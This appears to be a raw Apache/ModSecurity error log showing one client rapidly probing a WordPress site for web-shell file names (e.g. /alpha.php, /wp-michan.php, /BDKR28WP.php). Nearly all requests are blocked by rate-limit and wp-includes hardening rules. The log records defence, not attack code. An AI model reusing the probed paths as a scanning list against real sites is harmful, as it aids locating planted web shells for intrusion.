[Wed Apr 15 01:04:35.871455 2026] [:error] [pid 17734:tid 17759] [client 20.240.133.195:29075] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "ad5zo9N3xsztF3DFLWz8QQAAAJQ"]
[Wed Apr 15 01:04:36.396901 2026] [:error] [pid 17926:tid 17934] [client 20.240.133.195:33635] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "ad5zpPKxFvgDwMI04zBRSQAAAcE"]
[Wed Apr 15 01:04:36.927693 2026] [:error] [pid 17926:tid 17944] [client 20.240.133.195:36853] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "ad5zpPKxFvgDwMI04zBRTwAAAcs"]
[Wed Apr 15 01:04:37.462658 2026] [:error] [pid 17926:tid 17947] [client 20.240.133.195:41872] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "ad5zpfKxFvgDwMI04zBRUwAAAc4"]
[Wed Apr 15 01:04:37.986317 2026] [:error] [pid 62297:tid 62368] [client 20.240.133.195:29090] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "ad5zpavogcWlrafOEaG8-QAAAQ4"]
[Wed Apr 15 01:04:38.519194 2026] [:error] [pid 17804:tid 17821] [client 20.240.133.195:41889] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "ad5zpgAZKYxfpamecKd8pQAAAMs"]
[Wed Apr 15 01:04:39.082506 2026] [:error] [pid 62297:tid 62365] [client 20.240.133.195:36847] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "ad5zp6vogcWlrafOEaG8-wAAAQs"]
[Wed Apr 15 01:04:39.693479 2026] [:error] [pid 62297:tid 62369] [client 20.240.133.195:6357] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "ad5zp6vogcWlrafOEaG9AAAAAQ8"]
[Wed Apr 15 01:04:40.272125 2026] [:error] [pid 62295:tid 62316] [client 20.240.133.195:33636] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "ad5zqBng-JDNFCa0Bnhn9AAAABE"]
[Wed Apr 15 01:04:40.877227 2026] [:error] [pid 17804:tid 17830] [client 20.240.133.195:6347] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "ad5zqAAZKYxfpamecKd8qQAAANQ"]
[Wed Apr 15 01:04:41.420988 2026] [:error] [pid 62295:tid 62313] [client 20.240.133.195:36805] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "ad5zqRng-JDNFCa0Bnhn-gAAAA4"]
[Wed Apr 15 01:04:42.574025 2026] [:error] [pid 17804:tid 17820] [client 20.240.133.195:32338] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "ad5zqgAZKYxfpamecKd8rgAAAMo"]
[Wed Apr 15 01:04:43.445539 2026] [:error] [pid 17866:tid 17868] [client 20.240.133.195:58319] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "ad5zq7x_17kv70EUVIlCrgAAAYA"]
[Wed Apr 15 01:04:44.986151 2026] [:error] [pid 62295:tid 62311] [client 20.240.133.195:27080] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "ad5zrBng-JDNFCa0BnhoBQAAAAw"]
[Wed Apr 15 01:04:45.643210 2026] [:error] [pid 62295:tid 62302] [client 20.240.133.195:29107] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "ad5zrRng-JDNFCa0BnhoDQAAAAM"]
[Wed Apr 15 01:04:46.606599 2026] [:error] [pid 62297:tid 62374] [client 20.240.133.195:41895] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "ad5zrqvogcWlrafOEaG9FAAAARQ"]
[Wed Apr 15 01:04:47.354856 2026] [:error] [pid 17866:tid 17890] [client 20.240.133.195:41902] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "ad5zr7x_17kv70EUVIlCtAAAAZY"]
[Wed Apr 15 01:04:48.060182 2026] [:error] [pid 17866:tid 17873] [client 20.240.133.195:36840] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "ad5zsLx_17kv70EUVIlCtwAAAYU"]
[Wed Apr 15 01:04:48.679462 2026] [:error] [pid 17926:tid 17954] [client 20.240.133.195:6366] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "ad5zsPKxFvgDwMI04zBRXQAAAdU"]
[Wed Apr 15 01:04:49.707873 2026] [:error] [pid 17866:tid 17889] [client 20.240.133.195:39382] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "ad5zsbx_17kv70EUVIlCvgAAAZU"]
[Wed Apr 15 01:04:50.353066 2026] [:error] [pid 17926:tid 17956] [client 20.240.133.195:39392] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "ad5zsvKxFvgDwMI04zBRZAAAAdc"]
[Wed Apr 15 01:04:51.044992 2026] [:error] [pid 62295:tid 62305] [client 20.240.133.195:41916] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "ad5zsxng-JDNFCa0BnhoIwAAAAY"]
[Wed Apr 15 01:04:51.730386 2026] [:error] [pid 62295:tid 62300] [client 20.240.133.195:39383] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "ad5zsxng-JDNFCa0BnhoKwAAAAE"]
[Wed Apr 15 01:04:52.460302 2026] [:error] [pid 17734:tid 17743] [client 20.240.133.195:6369] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "ad5ztNN3xsztF3DFLWz8YQAAAIQ"]
[Wed Apr 15 01:04:53.244062 2026] [:error] [pid 17734:tid 17760] [client 20.240.133.195:33643] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "ad5ztdN3xsztF3DFLWz8ZAAAAJU"]
[Wed Apr 15 01:04:54.012331 2026] [:error] [pid 62432:tid 62435] [client 20.240.133.195:58335] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "ad5ztrPtNET7V_vfTPfPfAAAAUA"]
[Wed Apr 15 01:04:55.012334 2026] [:error] [pid 62296:tid 62328] [client 20.240.133.195:29095] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "ad5zt8TNd04nWM2DK4SCcAAAAEE"]
[Wed Apr 15 01:04:55.842769 2026] [:error] [pid 62297:tid 62356] [client 20.240.133.195:27101] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "ad5zt6vogcWlrafOEaG9JgAAAQI"]
[Wed Apr 15 01:04:56.439687 2026] [:error] [pid 62295:tid 62323] [client 20.240.133.195:36827] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "ad5zuBng-JDNFCa0BnhoQgAAABg"]
[Wed Apr 15 01:04:57.029454 2026] [:error] [pid 17926:tid 17933] [client 20.240.133.195:36844] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "ad5zufKxFvgDwMI04zBRagAAAcA"]
[Wed Apr 15 01:04:57.708403 2026] [:error] [pid 62296:tid 62339] [client 20.240.133.195:36808] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "ad5zucTNd04nWM2DK4SCdQAAAEw"]
[Wed Apr 15 01:04:58.678873 2026] [:error] [pid 62295:tid 62314] [client 20.240.133.195:39367] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "ad5zuhng-JDNFCa0BnhoRgAAAA8"]
[Wed Apr 15 01:04:59.464109 2026] [:error] [pid 17734:tid 17751] [client 20.240.133.195:41871] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad5zu9N3xsztF3DFLWz8cAAAAIw"]
[Wed Apr 15 01:05:00.163792 2026] [:error] [pid 62295:tid 62313] [client 20.240.133.195:29102] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad5zvBng-JDNFCa0BnhoSwAAAA4"]
[Wed Apr 15 01:05:00.769852 2026] [:error] [pid 62297:tid 62365] [client 20.240.133.195:33629] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad5zvKvogcWlrafOEaG9QQAAAQs"]
[Wed Apr 15 01:05:01.502914 2026] [:error] [pid 62297:tid 62378] [client 20.240.133.195:33654] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad5zvavogcWlrafOEaG9SQAAARg"]
[Wed Apr 15 01:05:02.651490 2026] [:error] [pid 62295:tid 62311] [client 20.240.133.195:39386] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ad5zvhng-JDNFCa0BnhoTwAAAAw"]
[Wed Apr 15 01:05:03.672662 2026] [:error] [pid 62296:tid 62337] [client 20.240.133.195:33607] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ad5zv8TNd04nWM2DK4SCfQAAAEo"]
[Wed Apr 15 01:05:04.463313 2026] [:error] [pid 62295:tid 62303] [client 20.240.133.195:44353] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ad5zwBng-JDNFCa0BnhoVQAAAAQ"]
[Wed Apr 15 01:05:05.322852 2026] [:error] [pid 62295:tid 62318] [client 20.240.133.195:39412] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "ad5zwRng-JDNFCa0BnhoWwAAABM"]
[Wed Apr 15 01:05:06.005941 2026] [:error] [pid 62295:tid 62315] [client 20.240.133.195:58348] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "ad5zwhng-JDNFCa0BnhoYQAAABA"]
[Wed Apr 15 01:05:06.956722 2026] [:error] [pid 17926:tid 17951] [client 20.240.133.195:41873] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "ad5zwvKxFvgDwMI04zBRdQAAAdI"]
[Wed Apr 15 01:05:08.496936 2026] [:error] [pid 62295:tid 62301] [client 20.240.133.195:32328] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "ad5zxBng-JDNFCa0BnhobAAAAAI"]
[Wed Apr 15 01:05:09.495930 2026] [:error] [pid 62297:tid 62376] [client 20.240.133.195:58323] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "ad5zxavogcWlrafOEaG9ZwAAARY"]
[Wed Apr 15 01:05:10.608967 2026] [:error] [pid 62295:tid 62311] [client 20.240.133.195:44381] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "ad5zxhng-JDNFCa0BnhobgAAAAw"]
[Wed Apr 15 01:05:12.695298 2026] [:error] [pid 62295:tid 62299] [client 20.240.133.195:39390] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "ad5zyBng-JDNFCa0BnhofgAAAAA"]
[Wed Apr 15 01:05:13.724919 2026] [:error] [pid 62297:tid 62371] [client 20.240.133.195:58304] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "ad5zyavogcWlrafOEaG9cwAAARE"]
[Wed Apr 15 01:05:15.179505 2026] [proxy_fcgi:error] [pid 17926:tid 17940] [client 20.240.133.195:32361] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:05:15.495963 2026] [proxy_fcgi:error] [pid 17926:tid 17942] [client 20.240.133.195:32361] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:05:16.036794 2026] [proxy_fcgi:error] [pid 17926:tid 17954] [client 20.240.133.195:32361] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:05:16.674016 2026] [proxy_fcgi:error] [pid 17926:tid 17934] [client 20.240.133.195:32361] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:05:17.065627 2026] [proxy_fcgi:error] [pid 17926:tid 17948] [client 20.240.133.195:32361] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:05:17.334167 2026] [proxy_fcgi:error] [pid 17926:tid 17950] [client 20.240.133.195:32361] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:05:17.622950 2026] [proxy_fcgi:error] [pid 17926:tid 17943] [client 20.240.133.195:32361] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:05:18.187318 2026] [:error] [pid 17926:tid 17935] [client 20.240.133.195:32361] [client 20.240.133.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "ad5zzvKxFvgDwMI04zBRiQAAAcI"]
[Wed Apr 15 01:05:19.032015 2026] [:error] [pid 62295:tid 62305] [client 20.240.133.195:58421] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "ad5zzxng-JDNFCa0BnhosAAAAAY"]
[Wed Apr 15 01:05:19.677209 2026] [:error] [pid 62297:tid 62360] [client 20.240.133.195:39408] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "ad5zz6vogcWlrafOEaG9hwAAAQY"]
[Wed Apr 15 01:05:20.466067 2026] [:error] [pid 62297:tid 62376] [client 20.240.133.195:6389] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "ad5z0KvogcWlrafOEaG9igAAARY"]
[Wed Apr 15 01:05:21.107495 2026] [:error] [pid 62295:tid 62317] [client 20.240.133.195:43184] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "ad5z0Rng-JDNFCa0BnhowAAAABI"]
[Wed Apr 15 01:05:22.013609 2026] [:error] [pid 62295:tid 62299] [client 20.240.133.195:29119] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "ad5z0hng-JDNFCa0BnhoxwAAAAA"]
[Wed Apr 15 01:05:22.873574 2026] [:error] [pid 62296:tid 62335] [client 20.240.133.195:36846] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "ad5z0sTNd04nWM2DK4SCpAAAAEg"]
